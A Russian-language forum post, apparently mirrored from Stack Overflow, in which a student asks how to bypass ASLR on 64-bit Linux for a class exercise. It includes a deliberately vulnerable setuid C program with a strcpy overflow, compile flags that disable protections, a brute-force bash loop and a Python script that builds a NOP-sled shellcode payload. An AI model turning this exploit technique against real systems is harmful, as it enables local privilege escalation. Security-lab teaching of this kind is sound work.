Как я могу обойти код ASLR c, который был скомпилирован как 64-битный? (школьное задание: «в течение 10 минут.»)Linux

Ответить
Anonymous
 Как я могу обойти код ASLR c, который был скомпилирован как 64-битный? (школьное задание: «в течение 10 минут.»)

Сообщение Anonymous »

Как это обойти, если код скомпилирован как 64-битный? Нет необходимости получать root-оболочку; достаточно просто убедиться, что адрес угадан правильно. В моем задании - обойти aslr за 10 минут.
Ниже приведен метод, который я использовал при компиляции как 32-битной версии.
sudo sysctl -w kernel.randomize_va_space=2
gcc -o stack -z exestack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack

/* stack.c : vulnerable program */

#include
#include
#include

void foo(char *str)
{
char buffer[100];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return;
}

int main(int argc, char **argv)
{
char str[400];
FILE *badfile;

badfile = fopen("badfile", "r");
if (badfile == NULL) {
perror("fopen");
exit(1);
}

fread(str, sizeof(char), 300, badfile);
fclose(badfile);

foo(str);

printf("Returned Properly\n");
return 0;
}

#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(( $duration / 60 ))
sec=$(( $duration % 60 ))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack
done

# Fill the content with NOPs
content = bytearray(0x90 for i in range(300))

# Put the shellcode at the end
start = 300 - len(shellcode)
content[start:] = shellcode

# Put the address at offset 112
ret = 0xbfffeaf8 + 120
content[112:116] = (ret).to_bytes(4, byteorder='little')

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)


Подробнее здесь: https://stackoverflow.com/questions/798 ... assignment
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «Linux»